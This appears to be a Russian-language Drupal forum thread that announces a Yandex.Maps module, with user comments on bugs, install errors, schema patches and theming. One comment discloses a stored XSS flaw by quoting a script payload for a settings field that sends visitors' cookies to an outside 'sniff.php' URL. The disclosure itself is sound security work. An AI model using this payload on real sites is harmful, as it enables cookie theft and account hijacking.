Модуль Yandex Map

17 марта 2009 в 2:03

Модуль Yandex.Map
картинко
Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.

Здесь скрин как выглядит карта при добавлении/редактировании материала.

Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.

Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)

зы. надеюсь, кому то пригодиться Wink

----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680

ВложениеРазмер
Иконка пакета yandex_map-6.x-1.1.4.zip50.46 КБ

Комментарии

Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

17 марта 2009 в 9:07
Аватар пользователя cpu cpu 0

Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!

17 марта 2009 в 7:28

2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...

но автор молодец!

17 марта 2009 в 11:08

"PavelZ" wrote:
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим Wink
"beerman" wrote:
не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.

"batbug" wrote:
Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.
"Химический Али" wrote:
Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?
нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал... Smile

17 марта 2009 в 14:49

"bohart" wrote:
хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.

Да! И спасибо за то, что делитесь с сообществом.

17 марта 2009 в 15:28

Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.

Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить Sad
Или я что-то не так делаю?

18 марта 2009 в 17:49

протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта

18 марта 2009 в 13:09

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
<?php
function yandex_map_menu() {
$items = array();

$items['admin/settings/yandex_map'] = array(
- 'title' => t('Yandex Map'),
+ 'title' => 'Yandex Map',
'page callback' => 'drupal_get_form',
'page arguments' => array('yandex_map_settings_form'),
'type' => MENU_NORMAL_ITEM,
'access arguments' => array('administer yandex_map'),
);
return $items;
}
?>

Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.

Соответственно yandex_map.install должен быть таким:

<?php
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt

/**
* Implementation of hook_install().
*/
function yandex_map_install() {
// Create tables.
drupal_install_schema('yandex_map');
}

/**
* Implementation of hook_uninstall().
*/
function yandex_map_uninstall() {
// Remove tables.
drupal_uninstall_schema('yandex_map');
// Remove variables.
variable_del('yandex_map_control_edit');
variable_del('yandex_map_control_view');
variable_del('yandex_map_api_key');
variable_del('yandex_map_default_city');
variable_del('yandex_map_default_zoom');
variable_del('yandex_map_ballon_on_view');
variable_del('yandex_map_copyright');
variable_del('yandex_map_types');
variable_del('yandex_map_map_height');
variable_del('yandex_map_map_width');
}

/**
* Implementation of hook_schema().
*/
function yandex_map_schema() {
$schema['yandex_map'] = array(
'description' => 'Stores data for yandex-maps.',
'fields' => array(
'nid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'uid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'time' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'value' => array(
'type' => 'varchar',
'length' => 1024,
'not null' => TRUE,
'default' => '',
),
),
'indexes' => array(
'nid' => array('nid'),
),
);

return $schema;
}

?>

19 марта 2009 в 14:47

"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:
названия и описания пунктов меню не оборачиваются в t() в 6ке

это кто так сказал?

19 марта 2009 в 16:55

хм...
а есть ли наработка под 5.16 версию?

заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.

23 марта 2009 в 11:12
Аватар пользователя Atl Atl 0

У-у-у-у! В 5-ке не ставится!

warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.

363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }

224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());

Добавил $form_state в 365-ю - ни фига.

24 марта 2009 в 15:19

"Atl" wrote:
У-у-у-у! В 5-ке не ставится!

"t1mm1" wrote:
а есть ли наработка под 5.16 версию?

этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет Sad
"s0cks" wrote:
"Ваш корирайт для отображение внизу карт" ))

очепятко однако, исправил
"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:
Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
Спасибо, не знал, исправил.
"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:
Соответственно yandex_map.install должен быть таким:

гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.
"not_returned" wrote:
Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?
даный функционал будет присутствувать в новой версии (1.3)

29 марта 2009 в 3:50

Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.

ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar

29 марта 2009 в 13:27
2 апреля 2009 в 19:44

"neochief" wrote:
Модуль не соблюдает половины стандартов кодирования Друпала.

а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?

http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/

так что не друпу нужно соблюдать, а стандарты zend.

4 апреля 2009 в 3:52

shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.

4 апреля 2009 в 12:38

Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????

6 апреля 2009 в 16:53

При установке получаю

user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.

я так понимаю, в базе на моем хостинге длина VARCHAR max 255

7 апреля 2009 в 22:06

"neochief" wrote:
Рекомендую модуль Coder.
спасибо, пропустил через coder.
убрал все ошибки.
на счет безопасности не совсем разобрался Sad

"Zlodeiko" wrote:
и еще как опустить карту в ноде вниз страницы,

cоздайте файлик node-yournodetype.tpl.php

а для размещения карты в конкретном месте использую параметры с админки:

<?php
print theme('yandex_map');
?>

или же

<?php
$height 
'400px';
$width  '100%';
print 
theme('yandex_map'$height$width);
?>

++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Ну и самое главное исправлено ошибки при сохранение\отображении меток.

10 апреля 2009 в 21:34

Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="

и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.

11 апреля 2009 в 3:48

"winniepoo" wrote:
при обновлении на 1.4 отображение карты отваливается от нодов

не совсем понял что имелось веду...
"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:
Может стоит этот модуль выложить на d.o

обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)

--

зы. сейчас готовлю демо-сайт Smile

14 апреля 2009 в 23:51

Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.

16 апреля 2009 в 23:22

Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.

23 апреля 2009 в 16:38

Огромное спасибо за модуль.

"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.

5 мая 2009 в 22:09

какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?

27 мая 2009 в 21:58

Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.

3 июня 2009 в 12:19

А вот, оказывается, и мой город появился:

02 июня на сервисе Яндекс.Карты (а значит и в API) были добавлены новые данные.

Россия
- Сочи
- Новороссийск

Украина
- Чернигов
- Полтава
- Черновцы
- Хмельницкий
- Черкассы
- Тернополь
- Ровно

Для курортных зон существенно расширилось покрытие высокодетальными спутниковыми снимками.

4 июня 2009 в 0:44

Спасибо большое!
давно искал такой вот модуль ,но есть маленький вопрос.
1)почему при создании ноды с использованием модуля, при его дальнейшем просмотре изображение отклеиваеться от Ноды во всех Браузерах кроме Opera .
2) можно ли использовать данный модуль просто как карта города на сайте? т.е создаеться нода ,где карта доступНа для всех пользователей ,Без создания мАтериала

7 июня 2009 в 20:43

"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map

А можно показать скриншоты последовательности действий по установке и настройке этого модуля, а то у меня руки из ж... никак не получается показать Яндекс-карту на сайте.

10 июня 2009 в 20:02

Модуль ставил - хорош.
Но лично самому пришлось свое решение делать, потому что часто не нужно , что бы карта сразу грузилась. Из-за того , что рисунок грузиться со стороннего сервера - страница притармаживает в работе.
Может и вы встроите ссылку ПОКАЗАТЬ НА КАРТЕ при нажатие на которую начнет карта грузиться.

24 июня 2009 в 22:02

не работает при выводе карт через таксономию в составе нод - не отображается, поясните, это техническая проблема Яндекса или просто об этом не подумали? Как я понимаю, проблема ещё и в том, что данные передаются в id=yandex_map, а их не может быть более одного на странице.
Надеюсь на оперативный ответ, тут сайт сдавать, а такой косяк неприятный образовался.

PS Пропатчил немного, когда одна нода в термине - отображается, когда несколько - глюки. Поясните, как человек, который разбирался в API Яндекса , как такое решить?

25 июня 2009 в 1:02

да кстати у меня тоже перестало работать....при добавлении материала, отображается карта, но вот содержание карты не отображается, что делать?

8 июля 2009 в 20:02

Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.
Что бы это значило?

13 июля 2009 в 20:08

"Dr_Kertis" wrote:
Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.

Значит домен сайта при получении ключа неправильно ввел.

13 июля 2009 в 21:51

Ну не знаю, скопировал адресную строку - http://мойсайт.kiev.ua/
Ввел ее. Получил ключ. На странице информации о ключах вижу - мойсайт.kiev.ua
* получен 13 июля 2009
* Ключ работает
По ссылке попадаю именно на мой сайт, на главную страницу. Какое-то злое колдунство выходит.

14 июля 2009 в 13:53

Нет никаких идей? Sad Хотелось сделать красивую контактную форму с картой, а не выходит.
На Гугле схемы Киева, увы, нет, так что ставить даже не пробовал.

15 июля 2009 в 13:27

Проблема с ошибкой исчезла сама собой, это был глюк яндекса. Там даже обсуждался вопрос с ошибкой, но ответ так и не нашелся.
Но возникла другая проблема - по умолчанию мне показывает мир, хотя в админке выставлено все как на скриншоте. Поиск работать отказывается. Можно установить нужный город вручную, влепить нужную метку на улицу, но... ничего не сохранится. И пользователь радостно увидит тихий океан Sad
Версия 1.3

15 июля 2009 в 16:23

тоже самое...ОКЕАН...

видно тема совсем заглохла...очень жаль...на самом деле очень востребованный модуль, так как мой город ещё не скоро будет на гугл мапс

20 июля 2009 в 18:31

"azemel" wrote:
Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."

Качай файл, прикрепленный непосредственно к посту, версия 1.4

24 июля 2009 в 18:19

При установке пишется ошибка:
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: CREATE TABLE yandex_map ( `nid` INT unsigned NOT NULL DEFAULT 0, `uid` INT unsigned NOT NULL DEFAULT 0, `time` INT unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', INDEX nid (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /docs/includes/database.inc on line 515.

При сохранении ноды:
user warning: Table '.yandex_map' doesn't exist query: SELECT * FROM yandex_map WHERE `nid` = '56' in /docs/sites/all/modules/yandex_map/yandex_map.module on line 334.

При удалении пишется ошибка:
user warning: Unknown table 'yandex_map' query: DROP TABLE yandex_map in /docs/includes/database.mysql-common.inc on line 261.

24 июля 2009 в 19:46

"<a href="mailto:shumod@drupal.org">shumod@drupal.org</a>" wrote:
При установке пишется ошибка

базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

24 июля 2009 в 21:02

Следующая ошибка при установке:
Warning: Got a packet bigger than 'max_allowed_packet' bytes query: INSERT INTO watchdog (uid, type, message, variables, severity, link, location, referer, hostname, timestamp) VALUES (1, 'php', '%message in %file on line %line.', 'a:4:{s:6:\"%error\";s:12:\"user warning\";s:8:\"%message\";s:2300783:\"Got a packet bigger than 'max_allowed_packet' bytes\nquery: UPDATE batch SET token = 'f925348e42c7390737108decd8a0a5fc', batch = 'a:10:{s:4:\\"sets\\";a:2:{i:0;a:12:{s:7:\\"sandbox\\";a:0:{}s:7:\\"results\\";a:0:{}s:7:\\"success\\";b:0;s:10:\\"operations\\";a:1:{i:0;a:2:{i:0;s:20:\\"_locale_batch_import\\";i:1;a:1:{i:0;s:47:\\"sites/all/modules/yandex_map/translations/ru.po\\";}}}s:5:\\"title\\";s:53:\\"Импорт переводов интер� in /docs/includes/database.mysql.inc on line 128

Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 3041548 bytes) in /docs/includes/database.mysql-common.inc on line 34

Warning: Cannot modify header information - headers already sent by (output started at /docs/includes/database.mysql.inc:128) in Unknown on line 0

"jason32" wrote:
базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

Хостер никхост. Чего-то понять не могу, какая версия mysql.
Есть две надписи: Версия сервера: 4.1.22-log, Версия MySQL-клиента: 5.1.16-beta. Что из них что?

Заранее спасибо.

26 июля 2009 в 10:20

Итак, установила, все замечательно.

Есть две проблемы - 1) не отображается в Опре (конкретно, в Опере 10)

2) при сохранении ноды иногда сбивается адрес, т.е. вместо введенного, отображается дефолтный для города.

3) Все-таки, этот модуль загружает яндекс карты при каждом просмотре на сайте... Было бы хорошо - да что там! прекрасно! - если бы он - загружал ЯНдекс карты только там, где они собственно, есть... Или хотя бы вариант с Смотреть карту.

21 октября 2009 в 14:40
Аватар пользователя F10 F10 0

"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:
и еще как опустить карту в ноде вниз страницы,
cоздайте файлик node-yournodetype.tpl.php

Может хотя бы здесь пойму, из чего состоит нода.

Ну так вот, хочу перенести карту ниже текста ноды. Написано, создайте файлик node-yournodetype.tpl.php и там перекрываете родной вывод. Ладно, сделал.
Дальше, в этом файле написал вот что:
<?php print theme('yandex_map');  ?> - это выводит карту.
Перед ней что вписывать, что бы вывести текстовую часть контента.
Если пишу так <?php print $content;?> или так <?php print $body?>, выводится контент с картой вместе, т. е. карта пытается загрузиться два раза.

А что выводит только текстовую часть ноды?

26 октября 2009 в 19:17
Аватар пользователя F10 F10 0

И еще, обнаружен неприятный баг. Так как скрипты модуля грузяться на каждой странице, на страницах с списками views(где есть раскрытые фильтры): Opera виснет, IE выдает ошибку "Замедление работы IE".

27 октября 2009 в 9:22

Спасибо за модуль!
Только я тоже столкнулся с проблемой, что из-за вызова скрипта Y.Maps на каждой странице в Опере намертво виснет старница создание/редактирования Views.

И еще не могу понять как на определнной странице вывести карту с масштабом, отличным от дефалтного.
Т.е. я на главной странице хочу вывести карту со всеми созданными точками. Карту я вывожу следующим кодом:
echo theme('yandex_map', variable_get('yandex_map_block_height_'. $delta, FALSE), variable_get('yandex_map_block_width_'. $delta, FALSE));
А что нужно в нем изменить, чтобы масштаб был "город"?

PS: только начал изучать PHP, поэтому самостоятельно разобраться не смог..

13 ноября 2009 в 14:49

У меня все работает. Только при редактировании ноды с картой, адрес сбивается на дефолтный. И это делает (в моем случае) непригодным это отличный модуль. Наверное там пустяшный код надо добавить с проверкой. Может быть автор разрешит доработать его модуль если у него у самого нет на это времени? Есть тут умельцы которым это как 2+2 сделать? Может neochief или еще кто-то? Wink

13 января 2010 в 1:10

День добрый всем.

Автору респект!

Есть маленькая проблемка...
При создании ноды карта не отображается (и клики по лупе ничего не дают). Но если ноду сохранить, а потом опять редактировать - карта отображается нормально.

Кто-нибудь сталкивался?

P.S. В какой теме писать? Здесь или http://www.drupal.ru/node/39766

11 февраля 2010 в 0:24

Так установила модуль 6.3, выявила что при работе с типами материала, которые создала я сама, карта работает но только после того как нода уже создана и сохранена, то есть при редактировании, в встроенных типах такого нет карта работает нормально как надо

15 сентября 2010 в 10:36
Аватар пользователя ken ken 0

Большое спасибо за модуль !!! очень полезная штука, правда жаль что нет на 7ку. щас уже все проекты хочу проапгрейдить и возник вопрос будет ли версия для 7ки ?

4 сентября 2011 в 16:15

здравствуйте, подскажите пожалуйста , что делать , если города нет ни в гугл ни на яндексе?
p.s: я первый раз делаю сайт на drupal

29 сентября 2011 в 20:03

Что если нужно на одной странице показать 2 адреса? Не важно на одной карте или на двух? Как можно реализовать, подскажите пожалуйста. Заранее спасибо.

4 декабря 2011 в 12:52

tishka wrote:
Что если нужно на одной странице показать 2 адреса?

Ну наверное, как самый простой вариант, создать шаблон node-id.tpl.php и вставить скрипт с Яндекс-карт:

   
<script src="http://api-maps.yandex.ru/1.1/index.xml?key=Ваш_ключ_API_Яндекс.Карты"
        type="text/javascript"></script>
    <script type="text/javascript">
        window.onload = function () {
            var map = new YMaps.Map(document.getElementById("YMapsID"));
            map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10);
        }
</script>

Там, где
map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10)
Назначить свои координаты.

А в то место шаблона, где должна быть выведена карта, вставить:
<div id="YMapsID" style="width:600px;height:400px"></div>

Но этот вариант не очень. Карта выводится без инструментов ((

UPD: Определение координат

21 апреля 2012 в 23:12

Скажите, а как можно разместить 2 карты в одной ноде?
есть 2 адреса в разных городах и хотелось бы поместить карты друг под другом.
и еще вопрос - как тело ноды поместить поверх карты?

27 апреля 2012 в 17:28

Я написал как разместить две карты (за два комментария до этого), хотя способ не очень.
Думаю, стоит посмотреть в сторону новых карт Яндекс.Карты 2.0. Там можно несколько адресов на одной карте размещать, типа филиалы.

Что значит тело ноды поверх карты? В блоке в регионе? Карта модуля и так в самом низу ноды.
А если вставлять кодом, который генерит Яндекс, то можно карту куда угодно засунуть, хоть между абзацами.

27 апреля 2012 в 17:38

Я разместил карту в блоке, можно ли дать возможность зарегистрированным посетителям добавлять метки на эту карту?

25 октября 2014 в 18:43

"ХулиGUN" wrote:
Пардон, но накипело

Желающий слышать, да услышит. Спасибо за то, что Денис высказывает то, что многие из нас стесняются вписать из головы после эмоциональных порывов. Здесь есть еще те, кто не хочет вникать и мыслить в направлении алгоритмов и решений проблем, но при этом хочет их решить - этот порыв я думаю не к Вам. Вам мы всегда поможем, когда бесплатно, когда за денежку, не пугайтесь и не бери это на свой счет близко к горячему сердцу и широкой душе.

29 октября 2014 в 7:49